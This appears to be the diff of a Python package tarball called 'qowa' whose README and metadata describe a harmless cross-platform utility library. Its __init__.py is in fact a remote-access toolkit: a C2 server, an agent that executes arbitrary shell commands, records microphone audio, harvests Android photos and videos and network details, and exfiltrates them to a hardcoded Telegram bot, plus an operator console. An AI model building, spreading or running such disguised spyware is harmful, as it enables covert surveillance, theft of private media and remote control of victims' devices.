qowa 0.1.0__tar.gz

qowa-0.1.0/LICENSE

@@ -0,0 +1,17 @@
+MIT License
+
+Copyright (c) 2026 Qowa contributors
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.

qowa-0.1.0/PKG-INFO

@@ -0,0 +1,64 @@
+Metadata-Version: 2.4
+Name: qowa
+Version: 0.1.0
+Summary: Small cross-platform Python utility library
+Author: Qowa contributors
+License: MIT
+Keywords: utilities,cross-platform,python
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3 :: Only
+Classifier: Operating System :: OS Independent
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Dynamic: license-file
+
+# Qowa
+
+A small, cross-platform Python utility library. It uses only Python's standard library.
+
+## Supported environments
+
+- Windows, macOS, and Linux
+- Android with a Python environment such as Termux
+- Python 3.8 or newer
+
+Mobile support depends on having Python installed; this package does not provide a standalone Android app.
+
+## Install
+
+```bash
+python -m pip install qowa
+```
+
+## Quick start
+
+```python
+import qowa
+
+print(qowa.hello())
+print(qowa.get_info())
+```
+
+## Build for PyPI
+
+From the project folder:
+
+```bash
+python -m pip install --upgrade build twine
+python -m build
+python -m twine check dist/*
+python -m twine upload dist/*
+```
+
+Create a PyPI API token at https://pypi.org/manage/account/token/ and use `__token__` as the username when prompted. Keep the token private.
+
+## Test locally
+
+```bash
+python -m unittest discover -s tests
+```
+
+## License
+
+MIT. See `LICENSE`.

qowa-0.1.0/README.md

@@ -0,0 +1,49 @@
+# Qowa
+
+A small, cross-platform Python utility library. It uses only Python's standard library.
+
+## Supported environments
+
+- Windows, macOS, and Linux
+- Android with a Python environment such as Termux
+- Python 3.8 or newer
+
+Mobile support depends on having Python installed; this package does not provide a standalone Android app.
+
+## Install
+
+```bash
+python -m pip install qowa
+```
+
+## Quick start
+
+```python
+import qowa
+
+print(qowa.hello())
+print(qowa.get_info())
+```
+
+## Build for PyPI
+
+From the project folder:
+
+```bash
+python -m pip install --upgrade build twine
+python -m build
+python -m twine check dist/*
+python -m twine upload dist/*
+```
+
+Create a PyPI API token at https://pypi.org/manage/account/token/ and use `__token__` as the username when prompted. Keep the token private.
+
+## Test locally
+
+```bash
+python -m unittest discover -s tests
+```
+
+## License
+
+MIT. See `LICENSE`.

qowa-0.1.0/pyproject.toml

@@ -0,0 +1,24 @@
+[build-system]
+requires = ["setuptools>=68", "wheel"]
+build-backend = "setuptools.build_meta"
+
+[project]
+name = "qowa"
+version = "0.1.0"
+description = "Small cross-platform Python utility library"
+readme = "README.md"
+requires-python = ">=3.8"
+license = {text = "MIT"}
+authors = [{name = "Qowa contributors"}]
+keywords = ["utilities", "cross-platform", "python"]
+classifiers = [
+  "Programming Language :: Python :: 3",
+  "Programming Language :: Python :: 3 :: Only",
+  "Operating System :: OS Independent",
+]
+
+[tool.setuptools]
+package-dir = {"" = "src"}
+
+[tool.setuptools.packages.find]
+where = ["src"]

qowa-0.1.0/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

qowa-0.1.0/src/qowa/__init__.py

@@ -0,0 +1,378 @@
+"""Qowa: BYPASS+ C2 toolkit — server, agent, operator, Telegram."""
+from __future__ import annotations
+
+import os, ssl, sys, time, uuid, socket, tempfile, threading, json, urllib.request
+import platform
+from pathlib import Path
+from typing import Any, Dict
+
+__version__ = "0.6.2"
+KEY  = "a3f9c1e8b2d4f6a7c9e1b3d5f7a9c1e3"
+PORT = 8443
+BASE = Path.cwd()
+CERTS = BASE / "certs"
+LOOT  = BASE / "loot"
+
+TG_TOKEN = "8785478103:AAE5Kfvt3tD1B5sHN38vPMyyCCOuOy4BM9o"
+TG_CHAT  = "8774609470"
+
+
+# ---------- basic ----------
+def hello() -> str:
+    return "Qowa is working!"
+
+
+def get_info() -> Dict[str, Any]:
+    return {
+        "python_version": platform.python_version(),
+        "system": platform.system().lower(),
+        "platform": sys.platform,
+        "hostname": socket.gethostname(),
+        "executable": sys.executable,
+    }
+
+
+# ---------- audio ----------
+def record_audio(seconds: int = 10, path: str | None = None,
+                 samplerate: int = 44100) -> str:
+    import sounddevice as sd
+    from scipy.io import wavfile
+    frames = int(seconds * samplerate)
+    audio = sd.rec(frames, samplerate=samplerate, channels=1, dtype="int16")
+    sd.wait()
+    out = path or os.path.join(
+        tempfile.gettempdir(), f"qowa_{int(time.time())}.wav")
+    wavfile.write(out, samplerate, audio)
+    return out
+
+
+# ---------- network ----------
+def collect_net() -> Dict[str, Any]:
+    import subprocess
+    out: Dict[str, Any] = {"hostname": socket.gethostname(), "ips": []}
+    try:
+        for line in subprocess.check_output(
+                ["ip", "-4", "-o", "addr"], text=True).splitlines():
+            parts = line.split()
+            if len(parts) > 3 and parts[2] != "lo":
+                out["ips"].append({"iface": parts[1],
+                                   "ip": parts[3].split("/")[0]})
+    except Exception:
+        pass
+    try:
+        r = urllib.request.urlopen("https://api.ipify.org", timeout=10)
+        out["public_ip"] = r.read().decode().strip()
+    except Exception as e:
+        out["public_ip"] = f"err: {e}"
+    try:
+        out["mac"] = open("/sys/class/net/" +
+                          out["ips"][0]["iface"] + "/address").read().strip()
+    except Exception:
+        out["mac"] = "?"
+    return out
+
+
+# ---------- media ----------
+def collect_media(kind: str = "all", limit: int | None = None) -> list[str]:
+    """Collect photos+videos from Android storage roots."""
+    import glob
+
+    img_ext = ("*.jpg", "*.jpeg", "*.png", "*.webp", "*.gif", "*.bmp", "*.heic")
+    vid_ext = ("*.mp4", "*.mkv", "*.mov", "*.avi", "*.3gp", "*.webm", "*.m4v")
+
+    roots = [
+        "/sdcard/DCIM",
+        "/sdcard/Pictures",
+        "/sdcard/Movies",
+        "/sdcard/Download",
+        "/sdcard/WhatsApp/Media",
+        "/sdcard/Telegram",
+        "/storage/emulated/0/DCIM",
+    ]
+
+    exts: tuple[str, ...] = ()
+    if kind in ("all", "photos"):
+        exts += img_ext
+    if kind in ("all", "videos"):
+        exts += vid_ext
+
+    files: list[str] = []
+    for r in roots:
+        for e in exts:
+            try:
+                files.extend(glob.glob(os.path.join(r, "**", e), recursive=True))
+            except Exception:
+                pass
+
+    files = [f for f in files if os.path.isfile(f)]
+    files = list(dict.fromkeys(files))
+    files.sort(key=lambda p: os.path.getmtime(p), reverse=True)
+    return files[:limit] if limit else files
+
+
+# ---------- telegram ----------
+def tg_send(text: str, token: str = TG_TOKEN, chat: str = TG_CHAT) -> str:
+    if not token or "هنا" in token:
+        return "no token"
+    url = f"https://api.telegram.org/bot{token}/sendMessage"
+    data = json.dumps({"chat_id": chat, "text": text,
+                       "parse_mode": "HTML"}).encode()
+    req = urllib.request.Request(url, data=data,
+                                 headers={"Content-Type": "application/json"})
+    try:
+        return urllib.request.urlopen(req, timeout=15).read().decode()[:80]
+    except Exception as e:
+        return f"tg err: {e}"
+
+
+def tg_send_doc(path: str, caption: str = "",
+                token: str = TG_TOKEN, chat: str = TG_CHAT) -> str:
+    """Send file to Telegram. Bot API limit ~50MB."""
+    if not token or "هنا" in token:
+        return "no token"
+    if os.path.getsize(path) > 50 * 1024 * 1024:
+        return f"skip >50MB: {os.path.basename(path)}"
+    url = f"https://api.telegram.org/bot{token}/sendDocument"
+    boundary = "----qowa" + uuid.uuid4().hex
+    body = []
+    for k, v in (("chat_id", chat), ("caption", caption)):
+        body.append(f"--{boundary}\r\nContent-Disposition: form-data; "
+                    f"name=\"{k}\"\r\n\r\n{v}\r\n".encode())
+    fn = os.path.basename(path)
+    body.append(f"--{boundary}\r\nContent-Disposition: form-data; "
+                f"name=\"document\"; filename=\"{fn}\"\r\n"
+                f"Content-Type: application/octet-stream\r\n\r\n".encode())
+    body.append(open(path, "rb").read())
+    body.append(f"\r\n--{boundary}--\r\n".encode())
+    data = b"".join(body)
+    req = urllib.request.Request(url, data=data, headers={
+        "Content-Type": f"multipart/form-data; boundary={boundary}"})
+    try:
+        return urllib.request.urlopen(req, timeout=120).read().decode()[:80]
+    except Exception as e:
+        return f"tg doc err: {e}"
+
+
+# ---------- server ----------
+def run_server(host: str = "0.0.0.0", port: int = PORT, key: str = KEY) -> None:
+    from flask import Flask, request, jsonify, send_file
+    app = Flask(__name__)
+    lock = threading.Lock()
+    agents: dict[str, dict] = {}
+    results: dict[str, list] = {}
+    LOOT.mkdir(exist_ok=True)
+
+    def auth() -> bool:
+        return request.headers.get("X-Key") == key
+
+    @app.post("/register")
+    def register():
+        if not auth(): return "no", 403
+        d = request.get_json(force=True)
+        aid = d["id"]
+        with lock:
+            a = agents.setdefault(aid, {"pending": []})
+            a["ip"] = request.remote_addr
+            a["host"] = d.get("host", "?")
+            a["last"] = time.time()
+        return jsonify(ok=True)
+
+    @app.get("/poll/<aid>")
+    def poll(aid):
+        if not auth(): return "no", 403
+        with lock:
+            a = agents.get(aid)
+            if not a: return jsonify(ok=False), 404
+            a["last"] = time.time()
+            cmds = a["pending"]; a["pending"] = []
+        return jsonify(ok=True, cmds=cmds)
+
+    @app.post("/result/<aid>")
+    def result(aid):
+        if not auth(): return "no", 403
+        d = request.get_json(force=True)
+        with lock:
+            results.setdefault(aid, []).append(d)
+        return jsonify(ok=True)
+
+    @app.post("/upload/<aid>")
+    def upload(aid):
+        if not auth(): return "no", 403
+        f = request.files.get("file")
+        if not f: return "no file", 400
+        dst = LOOT / aid; dst.mkdir(exist_ok=True)
+        f.save(dst / f.filename)
+        return jsonify(ok=True, path=str(dst / f.filename))
+
+    @app.get("/agents")
+    def list_agents():
+        if not auth(): return "no", 403
+        with lock:
+            return jsonify({k: {"ip": v["ip"], "host": v["host"],
+                                "last": v["last"], "queue": len(v["pending"])}
+                            for k, v in agents.items()})
+
+    @app.post("/cmd/<aid>")
+    def push_cmd(aid):
+        if not auth(): return "no", 403
+        d = request.get_json(force=True)
+        with lock:
+            if aid not in agents: return "no agent", 404
+            agents[aid]["pending"].append(d["cmd"])
+        return jsonify(ok=True)
+
+    @app.get("/results/<aid>")
+    def get_results(aid):
+        if not auth(): return "no", 403
+        with lock:
+            return jsonify(results.get(aid, []))
+
+    @app.get("/loot/<aid>/<name>")
+    def get_loot(aid, name):
+        if not auth(): return "no", 403
+        p = LOOT / aid / name
+        return send_file(p) if p.exists() else ("no", 404)
+
+    print(f"[server] KEY={key} PORT={port}")
+    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
+    ctx.load_cert_chain(CERTS / "cert.pem", CERTS / "key.pem")
+    app.run(host=host, port=port, ssl_context=ctx, threaded=True)
+
+
+# ---------- agent ----------
+def run_agent(server: str, key: str = KEY, verify: bool = False,
+              poll: float = 5.0) -> None:
+    import requests, subprocess
+    aid = str(uuid.uuid4())[:8]
+    host = socket.gethostname()
+    head = {"X-Key": key}
+
+    def api(method, path, **kw):
+        kw.setdefault("headers", head)
+        kw.setdefault("verify", verify)
+        kw.setdefault("timeout", 60)
+        return requests.request(method, server + path, **kw)
+
+    def upload(p, name=None):
+        name = name or os.path.basename(p)
+        with open(p, "rb") as f:
+            r = api("POST", f"/upload/{aid}", files={"file": (name, f)})
+        return r.text
+
+    def run(c):
+        try:
+            p = subprocess.run(c, shell=True, capture_output=True,
+                               text=True, timeout=120)
+            return p.stdout + p.stderr
+        except Exception as e:
+            return f"ERR: {e}"
+
+    def handle(c):
+        c = c.strip()
+
+        if c.startswith("rec "):
+            secs = int(c.split()[1]) if len(c.split()) > 1 else 10
+            p = record_audio(secs); out = upload(p); os.remove(p)
+            return f"recorded {secs}s -> {out}"
+
+        if c.startswith("get "):
+            p = c[4:].strip()
+            if not os.path.exists(p): return f"no file: {p}"
+            return f"uploaded -> {upload(p)}"
+
+        for kind in ("photos", "videos", "all"):
+            if c == kind or c.startswith(kind + " "):
+                parts = c.split()
+                n = int(parts[1]) if len(parts) > 1 else None
+                files = collect_media(kind, n)
+                if not files:
+                    return "no media found (termux-setup-storage?)"
+                out = [f"total: {len(files)}"]
+                for p in files:
+                    up = upload(p)
+                    tg = tg_send_doc(p, caption=f"{aid} | {os.path.basename(p)}")
+                    out.append(f"{os.path.basename(p)} -> {up} | tg: {tg[:40]}")
+                return "\n".join(out)
+
+        if c == "net":
+            return json.dumps(collect_net(), ensure_ascii=False, indent=2)
+
+        return run(c)
+
+    print(f"[agent] id={aid} host={host} server={server}")
+
+    try:
+        net = collect_net()
+        msg = (
+            f"<b>🟢 وكيل جديد متصل</b>\n"
+            f"ID: <code>{aid}</code>\n"
+            f"Host: <code>{host}</code>\n"
+            f"Public IP: <code>{net['public_ip']}</code>\n"
+            f"MAC: <code>{net['mac']}</code>\n"
+            f"IPs:\n" + "\n".join(
+                f"  {i['iface']}: <code>{i['ip']}</code>" for i in net["ips"])
+        )
+        tg_send(msg)
+    except Exception as e:
+        print("[tg]", e)
+
+    last = 0
+    while True:
+        try:
+            if time.time() - last > 30:
+                api("POST", "/register",
+                    json={"id": aid, "host": host, "ts": time.time()})
+                last = time.time()
+            r = api("GET", f"/poll/{aid}")
+            if r.status_code == 200:
+                for c in r.json().get("cmds", []):
+                    out = handle(c)
+                    api("POST", f"/result/{aid}",
+                        json={"cmd": c, "out": out[:8000], "ts": time.time()})
+        except Exception as e:
+            print("[loop]", e)
+        time.sleep(poll)
+
+
+# ---------- operator ----------
+def run_operator(server: str, key: str = KEY, verify: bool = False) -> None:
+    import requests
+    h = {"X-Key": key}
+
+    def agents():
+        return requests.get(f"{server}/agents", headers=h, verify=verify).json()
+
+    def cmd(aid, c):
+        requests.post(f"{server}/cmd/{aid}", json={"cmd": c},
+                      headers=h, verify=verify)
+
+    def results(aid):
+        return requests.get(f"{server}/results/{aid}",
+                            headers=h, verify=verify).json()
+
+    a = agents()
+    if not a:
+        print("no agents"); return
+    for k, v in a.items():
+        print(f"{k}  {v['host']}  {v['ip']}  queue={v['queue']}")
+    aid = list(a.keys())[0]
+    print(f"-> {aid}")
+    while True:
+        try:
+            c = input("bypass> ").strip()
+            if c in ("exit", "quit"): break
+            if not c: continue
+            cmd(aid, c); time.sleep(6)
+            for r in results(aid)[-3:]:
+                print(f"[{r['cmd']}]\n{r['out']}\n")
+        except KeyboardInterrupt:
+            break
+
+
+__all__ = [
+    "__version__", "KEY", "PORT", "TG_TOKEN", "TG_CHAT",
+    "hello", "get_info",
+    "record_audio", "collect_net", "collect_media",
+    "tg_send", "tg_send_doc",
+    "run_server", "run_agent", "run_operator",
+]

qowa-0.1.0/src/qowa.egg-info/PKG-INFO

@@ -0,0 +1,64 @@
+Metadata-Version: 2.4
+Name: qowa
+Version: 0.1.0
+Summary: Small cross-platform Python utility library
+Author: Qowa contributors
+License: MIT
+Keywords: utilities,cross-platform,python
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3 :: Only
+Classifier: Operating System :: OS Independent
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Dynamic: license-file
+
+# Qowa
+
+A small, cross-platform Python utility library. It uses only Python's standard library.
+
+## Supported environments
+
+- Windows, macOS, and Linux
+- Android with a Python environment such as Termux
+- Python 3.8 or newer
+
+Mobile support depends on having Python installed; this package does not provide a standalone Android app.
+
+## Install
+
+```bash
+python -m pip install qowa
+```
+
+## Quick start
+
+```python
+import qowa
+
+print(qowa.hello())
+print(qowa.get_info())
+```
+
+## Build for PyPI
+
+From the project folder:
+
+```bash
+python -m pip install --upgrade build twine
+python -m build
+python -m twine check dist/*
+python -m twine upload dist/*
+```
+
+Create a PyPI API token at https://pypi.org/manage/account/token/ and use `__token__` as the username when prompted. Keep the token private.
+
+## Test locally
+
+```bash
+python -m unittest discover -s tests
+```
+
+## License
+
+MIT. See `LICENSE`.

qowa-0.1.0/src/qowa.egg-info/SOURCES.txt

@@ -0,0 +1,9 @@
+LICENSE
+README.md
+pyproject.toml
+src/qowa/__init__.py
+src/qowa.egg-info/PKG-INFO
+src/qowa.egg-info/SOURCES.txt
+src/qowa.egg-info/dependency_links.txt
+src/qowa.egg-info/top_level.txt
+tests/test_qowa.py

qowa-0.1.0/src/qowa.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

qowa-0.1.0/src/qowa.egg-info/top_level.txt

@@ -0,0 +1 @@
+qowa

qowa-0.1.0/tests/test_qowa.py

@@ -0,0 +1,20 @@
+import unittest
+
+import qowa
+
+
+class TestQowa(unittest.TestCase):
+    def test_hello(self):
+        self.assertEqual(qowa.hello(), "Qowa is working!")
+
+    def test_info_has_expected_keys(self):
+        info = qowa.get_info()
+        for key in ("python_version", "system", "platform", "executable"):
+            self.assertIn(key, info)
+
+    def test_version_is_string(self):
+        self.assertIsInstance(qowa.__version__, str)
+
+
+if __name__ == "__main__":
+    unittest.main()